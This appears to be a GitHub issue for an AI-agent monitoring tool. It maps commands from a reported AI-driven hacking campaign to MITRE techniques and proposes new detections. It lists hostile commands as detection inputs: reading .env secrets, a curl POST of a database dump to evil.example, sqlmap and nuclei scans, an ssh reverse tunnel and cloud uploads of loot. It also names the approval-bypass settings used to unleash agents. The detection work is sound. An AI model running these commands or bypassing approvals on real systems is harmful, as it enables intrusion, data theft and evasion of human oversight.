Skip to content

detection: what the shipped mapper makes of the ThreatLabz AI-assisted campaign (more #55 cases, and model-server redirection) #359

Open

Description

@blitzcrieg1

Zscaler ThreatLabz published an AI-assisted hacking campaign on 2026-10-21 (report): an operator drove Claude Code, Codex, Grok and the ARTEX framework against organisations in 19 locations (the report's count, which it calls regions). The agents ran on the operator's own servers, so Agentmetry on a victim's machine would have seen nothing, and this issue does not claim otherwise.

It is still the best public record yet of what an AI agent does when it is used offensively, so I ran its commands through the shipped mapper to see what Agentmetry would record if the same playbook ran on a monitored machine (an insider, or an attacker driving the agent already installed on a compromised laptop).

What the mapper does today

cat .env                                            traits=['credential_access']  T1552.001
curl -X POST -d @dump.sql https://evil.example/u    traits=['net_egress']         T1071.001
nmap -sV -p- 10.0.0.5                               traits=[]                     T1059.004
httpx -l subdomains.txt -title                      traits=[]                     T1059.004
nuclei -l hosts.txt -t cves/                        traits=[]                     T1059.004
sqlmap -u 'https://target.example/item?id=1' --dump traits=[]                     T1059.004
ssh -N -R 9000:localhost:22 user@<jump host>        traits=[]                     T1059.004
rclone copy ./loot b2:bucket/dir                    traits=[]                     T1059.004
b2 upload-file bucket dump.sql dump.sql             traits=[]                     T1059.004

Reproduce with classify_command from detection/traits.py and get_mitre_mapping("Bash", {"command": ...}) from core/audit/mitre.py on master ffdc8bc.

What would fire: credential-exfil on the first two lines together, session-tool-burst on the pace, and the posture check (agentmetry doctor) flags HIGH on the campaign's "skip approval" setup, Claude Code bypassPermissions and Codex approval_policy = "never".

More cases for #55

#55 already names the collapse into T1059. This campaign adds cases the sensor can observe from the command string alone:

Command Today Should be
nmap, httpx against remote hosts T1059.004 T1046 Network Service Discovery, or T1595 Active Scanning
nuclei templates T1059.004 T1595.002 Vulnerability Scanning
sqlmap -u ... T1059.004 T1190 Exploit Public-Facing Application
ssh -R / ssh -L / -D T1059.004 T1572 Protocol Tunneling
rclone copy ... b2:, b2 upload-file T1059.004 T1567.002 Exfiltration to Cloud Storage (same technique as #55's aws s3 cp case)

These belong in the same pass as #55, for the same reason: mitre.py and traits.py are fingerprint inputs, so landing them restarts the dogfood clock.

Not covered by #55: agents pointed at an unapproved model server

The operator configured Codex to use a DeepSeek endpoint, routed Claude Code through a grok2api bridge, and set ARTEX_LLM_BASE_URL to a third-party relay. On a company laptop that is a data-handling problem before it is an attack: prompts, file contents and tool results go to a provider nobody approved. Agentmetry records nothing about it today.

This is a configuration finding rather than a tool-call technique, so it would sit with the posture check (core/diagnostics/posture.py, not frozen) or agentmetry scan. It is still a new check, so under the current maintenance-only rule it waits for someone to ask for it.

A limit worth stating next to this

By default the trail stores a hash of each command, not its text (AGENTMETRY_LOG_FULL_ARGS is off). An investigator gets the tool, the technique and the time; the command itself only when full capture was enabled before the incident. ThreatLabz reconstructed this campaign from prompt history and configuration files; the report does not describe recovered tool-call logs. That is the gap a tool-call record fills, but only for the fields it keeps.

Blocked

The mapper cases wait with #55. The model-server check waits for a restart trigger.

Activity

  1. added
    detection-rule
    on Oct 31, 2026
  2. added
    bounty
    on Nov 24, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    bountydetection-rule

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions